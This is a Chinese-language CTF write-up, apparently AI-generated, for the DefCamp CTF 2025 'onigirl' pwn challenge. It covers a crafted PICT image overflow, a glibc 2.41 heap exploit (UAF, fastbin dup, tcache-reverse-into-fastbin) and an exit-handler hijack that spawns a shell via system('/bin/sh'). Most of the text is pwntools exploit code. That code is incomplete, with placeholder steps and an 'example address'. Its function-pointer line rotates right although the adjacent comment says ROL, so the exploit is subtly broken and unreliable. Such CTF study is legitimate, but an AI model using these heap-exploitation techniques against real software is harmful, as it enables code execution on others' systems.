DefCamp CTF 2025 onigirl 复盘详解
字数 1636 2025-10-01 14:05:45
以下是基于您提供的链接内容,整理出的关于 DefCamp CTF 2025 onigirl 题目的详细技术复盘与利用教学文档。本文档将系统性地分析题目背景、漏洞成因、利用链构建过程,并给出完整的利用代码(EXP),适用于具备一定二进制安全基础的读者深入学习。
一、题目概述
- 来源:DefCamp CTF 2025(2025年9月14日)
- 题型:Pwn(困难级别)
- 保护机制:全开(Canary、NX、PIE、Full RELRO)
- 环境:GLIBC 2.41
- 解题队伍数量:仅11支队伍成功解出
二、程序流程分析
1. 前半部分:图像处理与权限生成
程序主体流程如下:
int main() {
// 1. 读取用户输入的图像数据(自定义大小和内容)
// 2. 使用 stbi_load_from_memory() 解析图像为RGB格式
// 3. 进行复杂的浮点运算与像素变换:
// - 基于像素到中心距离的颜色调整
// - 随机扰动影响颜色计算
// - 幂函数与参数矩阵非线性变换
// - XOR/NOT 噪声引入
// 4. 生成 privilege 值,决定后续菜单功能的可用性
}
关键变量:
uint16_t privilege_value; // 目标:使其为0
float modification_parameters_1[11]; // 相邻数组,可能溢出影响 privilege_value
溢出点分析:
在 stbi__pic_load() 函数中,存在如下循环:
for (int i = 0; i < 11; i++) {
image_modifications_ptr[i] = image_noises[i]; // 可能溢出到 privilege_value
}
若 image_noises[10] 的第二个字节为 0x13,则可覆盖 privilege_value 为 0x1337,进而通过后续运算得到 privilege = 0。
图像结构构造:
需构造一个合法的PICT格式图像:
- 文件头:
"PICT" - 偏移
0x53处:"PICT" - 偏移
0x5C:大端序宽度(width),需为0x55(经测试得出) - 偏移
0x5E:大端序高度(height) - 数据部分:循环写入以下8字节组合:
[0x00, 0xF0, 0x0F, 0x00]和[0x0A, 0xF0, 0x0F, 0x00]交替
- 目的是通过计算使
image_noises[10]的第二个字节为0x13
前半EXP代码(Python):
from pwn import *
def build_image():
header = b"PICT".ljust(0x53, b"\x00") + b"PICT"
width = 0x55
height = 0x100
header += p16(width, endian='big') + p16(height, endian='big')
header += b"\x00" * 8
data = b""
for i in range(width * 10): # 循环次数需足够大
if i % 2 == 0:
data += b"\x00\xF0\x0F\x00"
else:
data += b"\x0A\xF0\x0F\x00"
return header + data
while True:
p = process("./onigirl")
p.sendlineafter("size:", str(len(build_image())))
p.sendafter("data:", build_image())
# 检查是否成功设置 privilege=0
# 若成功则进入后续菜单交互
三、后半部分:堆菜单与利用
1. 菜单功能:
do_alloc(size):申请0x70的 chunk(size ∈ [0, 0x5F]),最多11个do_delete(idx):UAF 漏洞(指针未置空)do_show(idx):泄露8字节数据
2. 利用目标:
- 泄露堆地址与libc地址
- 实现任意地址写
- 劫持控制流
3. 关键利用技巧:
a) Tcache Reverse Into Fastbin(GLIBC 2.41)
当申请大小相同的 chunk 时:
- 若 tcache 为空且 fastbin 非空,则取出 fastbin 头部 chunk(victim)
- 若 tcache 未满,则将 fastbin 中剩余 chunk 移入 tcache
- 分配 victim
b) Fastbin Dup:
通过 double free 构造循环链表:
A → B → A
c) 组合利用:
- 申请10个 chunk(A0-A9)
- 释放7个填入 tcache,再释放3个填入 fastbin
- 重新申请7个清空 tcache
- 通过 double free 构造 fastbin 循环链表:
A → B → A - 再次申请时触发 Tcache Reverse Into Fastbin:
- 分配 A
- 将 B 和 A 移入 tcache
- 若控制 A 的 fd 指向目标地址(需满足解密后为0),则可实现任意地址分配
d) 泄露libc:
- 伪造 unsortedbin size 的 chunk
- 释放后通过 UAF 读取 libc 地址
e) 劫持控制流(exit攻击向量):
目标:修改 pointer_guard(位于 fs:[0x30])为0,从而绕过指针加密。
通过任意地址写修改 initial 结构体(位于libc中),使其指向目标函数。
initial 结构体伪造:
typedef struct {
uint64_t fn_ptr; // 需为 (target_func >> 0x11) | (target_func << (64 - 0x11))
uint64_t arg;
uint64_t dso_handle;
} exit_function_cxa;
四、完整EXP(后半部分)
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
def alloc(size):
p.sendlineafter(">", "1")
p.sendlineafter("size:", str(size))
def free(idx):
p.sendlineafter(">", "2")
p.sendlineafter("index:", str(idx))
def show(idx):
p.sendlineafter(">", "3")
p.sendlineafter("index:", str(idx))
return p.recvuntil("\n", drop=True)
# 启动进程并绕过前半部分
p = process("./onigirl")
# 发送构造好的图像数据,直至 privilege=0
# ...
# 进入堆菜单交互
alloc(0x50) # 初始化大小
# 构造10个chunk
for i in range(10):
alloc(0x50)
# 释放7个填入tcache
for i in range(7):
free(i)
# 释放3个填入fastbin
for i in range(7, 10):
free(i)
# 清空tcache
for i in range(7):
alloc(0x50)
# Fastbin Dup: 构造 A->B->A
free(0)
free(1)
free(0)
# 修改fd指向目标地址(如heap_base+xxx)
payload = p64(0) * 2 # 满足解密后为0
# 写入选定的chunk
# 触发Tcache Reverse Into Fastbin
alloc(0x50)
# 泄露libc
# ...
# 修改pointer_guard为0
pg_addr = libc_base - 0x2880 + 0x30
# 通过任意地址写修改pg_addr值为0
# 伪造initial结构体
initial_addr = libc_base + 0x1f40c0 # 示例地址
system_addr = libc_base + libc.sym.system
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 构造函数指针:ROL(system_addr, 0x11)
fn_ptr = (system_addr >> 0x11) | (system_addr << (64 - 0x11))
payload = p64(fn_ptr) + p64(bin_sh_addr) + p64(0)
# 写入initial_addr
# 触发退出流程
p.sendlineafter(">", "4")
p.interactive()
五、参考资料
- GLIBC 2.41 源码
- 题目二进制文件:onigirl
- 相关函数:
stbi_load_from_memory、stbi__pic_load、malloc、free、exit
若有任何疑问或进一步讨论,欢迎在评论区留言。